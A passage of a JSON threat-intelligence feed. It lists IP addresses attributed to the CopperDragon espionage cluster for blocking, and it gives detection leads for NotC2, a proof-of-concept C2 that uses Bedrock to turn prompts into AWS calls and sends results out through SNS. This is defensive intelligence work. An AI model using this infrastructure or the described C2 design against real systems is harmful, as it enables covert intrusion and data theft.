activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.241.193", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "149.104.87.228", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "77.111.101.153", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "77.111.101.227", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "77.111.101.11", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.110.120", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.71.215", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.73.14", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.111.30", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.119.130", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.90.160", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.85.243", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.107.140", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.115.152", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "64.176.10.7", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "64.176.6.27", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.76.215.17", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "185.93.173.30", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "188.214.157.51", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "108.61.161.250", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "167.179.109.141", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.106.177", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.113.122", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.121.254", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.120.8", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt.kql", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt.spl", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt_raw.spl", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt.yaral", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt.yaral" } ] }, { "id": "NotC2-AWS-Native-AI-C2-Proof-of-Concept", "folder": "threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept", "name": "NotC2: AWS-Native AI C2 Proof of Concept", "short": "NotC2 AWS-native AI C2 PoC", "category": "Cloud / C2", "published": "2026-11-06", "entry_date": "2026-11-10 15:14", "last_updated": "2026-11-10", "seq": 9, "headline": "Proof-of-concept C2 built on AWS SQS, Lambda, SNS and Bedrock, with no network IOCs to block", "summary": "NotC2 is a proof-of-concept command-and-control framework published by Varonis Threat Labs on 6 November 2026. It assumes the attacker already holds AWS credentials and runs the whole C2 loop on native AWS services: commands arrive through Amazon SQS, a Lambda function executes them, Amazon Bedrock translates natural-language prompts into AWS API calls through a generic tool named execute_aws_operation, and results leave through Amazon SNS to an external HTTPS endpoint. There is no conventional C2 server to block. Varonis has not reported in-the-wild use and published no network indicators. Detection depends on CloudTrail and related AWS logs: new SQS-to-Lambda event source mappings, unexpected Bedrock InvokeModel or Converse calls from Lambda roles, and SNS subscriptions to external endpoints.", "caveat": "This is a researcher-published proof of concept. Varonis has not reported in-the-wild use and published no network indicators to block. Hunt in AWS CloudTrail for the behaviours below.", "targets": { "countries": [], "regions": [], "sectors": [], "note": "Researcher proof of concept with no reported victims.", "source": { "url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "label": "Varonis – NotC2: How We Built an AI-Powered C2 Channel With AWS Services", "name": "Varonis" } }, "mitre": [ { "id": "T1078.004", "name": "Valid Accounts: Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" }, { "id": "T1059.009", "name": "Cloud API", "url": "https://attack.mitre.org/techniques/T1059/009/" }, { "id": "T1102", "name": "Web Service", "url": "https://attack.mitre.org/techniques/T1102/" }, { "id": "T1567", "name": "Exfiltration Over Web Service", "url": "https://attack.mitre.org/techniques/T1567/" } ], "recommended_actions": [ "Hunt CloudTrail for new or unexpected SQS-to-Lambda event source mappings (CreateEventSourceMapping), especially on queues or functions that are new or unused.", "Alert on Bedrock InvokeModel or Converse calls from a Lambda execution role that has not previously used Bedrock, particularly if the same role also starts calling unrelated AWS APIs.", "Investigate SNS HTTP or HTTPS subscriptions to external endpoints created by a Lambda execution role, and restrict who can create or modify those subscriptions to approved destinations.", "Enforce IAM least privilege so compromised identities cannot create queues and functions, pass powerful roles, invoke Bedrock or attach external SNS subscribers; enable CloudTrail data events and Bedrock model-invocation logging to correlate the full loop." ], "sources": [ { "url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "label": "Varonis – NotC2: How We Built an AI-Powered C2 Channel With AWS Services", "name": "Varonis" } ], "indicator_count": 2, "block_now_count": 0, "hunt_count": 2, "hunt_counts": { "monitor": 2 }, "indicator_counts": { "other": 2 }, "ioas": [ { "artefact": "SNS Subscribe with protocol http or https, made by a Lambda execution role (assumed-role session, often with exec-env/AWS_Lambda in the user agent)", "log_source": "CloudTrail management events (sns.amazonaws.com), or CloudAppEvents with the AWS connector", "why": "This is how NotC2 sends command output to the operator's server. Lambda functions rarely create new external subscriptions at runtime.", "action": "alert", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "SNS subscription to an external HTTP(S) endpoint by a Lambda role", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "SNS ConfirmSubscription for a new external HTTP or HTTPS endpoint", "log_source": "CloudTrail management events (sns.amazonaws.com)", "why": "NotC2 only receives results once the operator's endpoint confirms the subscription. Record the confirmation's source address as a lead.", "action": "hunt", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "SNS subscription confirmed for a new external endpoint", "queries": [ "KQL", "SPL" ] }, { "artefact": "SNS CreateTopic called by a Lambda execution role", "log_source": "CloudTrail management events (sns.amazonaws.com)", "why": "The NotC2 function creates or resolves its results topic at runtime (create_topic). Application functions usually publish to topics that already exist.", "action": "hunt", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "SNS topic created by a Lambda role", "queries": [ "KQL", "SPL" ] }, { "artefact": "New SQS-to-Lambda event source mapping (CreateEventSourceMapping with an SQS queue ARN)", "log_source": "CloudTrail management events (lambda.amazonaws.com)", "why": "The mapping is what makes each queued command run the function automatically. New mappings on new or unused queues and functions are unusual outside deployments.", "action": "alert", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "New SQS-to-Lambda trigger", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "One identity calling sqs:CreateQueue, lambda:CreateFunction and lambda:CreateEventSourceMapping within an hour", "log_source": "CloudTrail management events", "why": "These are the minimum deployment steps Varonis lists for NotC2 when a suitable Lambda role already exists (iam:PassRole is a permission check, not a separate event).", "action": "alert", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "Queue, function and trigger created by one identity within an hour", "queries": [ "KQL", "SPL" ] }, { "artefact": "SQS queue named NotC2-Commands, or queue, function or topic names containing NotC2", "log_source": "CloudTrail management events (sqs CreateQueue requestParameters.queueName), AWS CLI command lines on endpoints", "why": "NotC2-Commands is the command queue name in Varonis's published screenshots. The name is trivial to change, so a miss means little.", "action": "alert", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "AWS resources named NotC2", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Bedrock InvokeModel, Converse or ConverseStream from a Lambda execution role that has not used Bedrock in the previous 30 days", "log_source": "CloudTrail management events (bedrock.amazonaws.com)", "why": "Bedrock is NotC2's command interpreter. Varonis calls out a sudden rise in Converse or InvokeModel calls from a Lambda role, especially one new to Bedrock.", "action": "hunt", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "First Bedrock use by a Lambda role", "queries": [ "KQL", "SPL" ] }, { "artefact": "The same Lambda role calling Bedrock and broad discovery APIs (ec2 DescribeInstances, dynamodb ListTables, rds DescribeDBInstances, lambda ListFunctions, s3 ListBuckets) in the same hour", "log_source": "CloudTrail management events", "why": "Varonis shows NotC2 using Bedrock to enumerate EC2, DynamoDB, databases and Lambda functions; Bedrock use plus unrelated APIs from one role strengthens the signal.", "action": "hunt", "has_query": true, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "Lambda role calling Bedrock and discovery APIs together", "queries": [ "KQL", "SPL" ] }, { "artefact": "A Bedrock tool definition named execute_aws_operation, or prompts starting with \"ai:\"", "log_source": "Bedrock model invocation logs (CloudWatch Logs or S3); not in CloudTrail", "why": "NotC2 passes every AWS action through one generic tool, execute_aws_operation, with service, operation, parameters and region fields. Only model invocation logging records the request body.", "action": "alert", "has_query": false, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "Bedrock function named execute_aws_operation", "queries": [ "SPL" ] }, { "artefact": "Lambda log lines \"SNS message body:\" followed by Command:, Target:, Exit Code:, Output: and Error: fields, or functions with SNS_TOPIC_ARN or SNS_TOPIC_NAME", "log_source": "Lambda CloudWatch Logs and function configuration", "why": "These strings appear in the NotC2 code in Varonis's screenshots. Default names are easy to change, so a match is a strong lead and a miss is no proof.", "action": "hunt", "has_query": false, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "Lambda logs relaying commands through SNS", "queries": [ "SPL" ] }, { "artefact": "An SQS message from an unexpected source, then a Lambda run, Bedrock calls, other AWS API calls and an SNS publish to an external subscriber within minutes, all on the same queue, function and topic", "log_source": "CloudTrail data events (SQS, Lambda, SNS), SNS delivery-status logs, Bedrock invocation logs", "why": "Each event is normal on its own; Varonis says the sequence is the C2 loop. Data events are not logged by default and must be enabled first.", "action": "hunt", "has_query": false, "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_name": "Varonis", "title": "Full SQS to Lambda to Bedrock to SNS command chain", "queries": [] } ], "ioa_count": 11, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/block_now.txt", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_block_now.txt" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt.kql", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt.spl", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt_raw.spl", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt.yaral", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/iocs.csv", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept", "share_url": "https://iocwatch.com/t/NotC2-AWS-Native-AI-C2-Proof-of-Concept/", "indicators": [ { "value": "NotC2", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Name of the Varonis proof-of-concept C2 framework built on Amazon SQS, Lambda, SNS and Bedrock. No network indicators were published; hunt CloudTrail for the documented behaviours.", "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_label": "Varonis – NotC2: How We Built an AI-Powered C2 Channel With AWS Services", "source_name": "Varonis", "sources": [ { "url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "name": "Varonis" } ] }, { "value": "execute_aws_operation", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Generic Bedrock tool specification used by NotC2 to turn a natural-language prompt into an AWS service, operation and parameters.", "source_url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", "source_label": "Varonis – NotC2: How We Built an AI-Powered C2 Channel With AWS Services", "source_name": "Varonis", "sources": [ { "url": "https://www.varonis.com/blog/notc2-ai-powered-c2-channel", 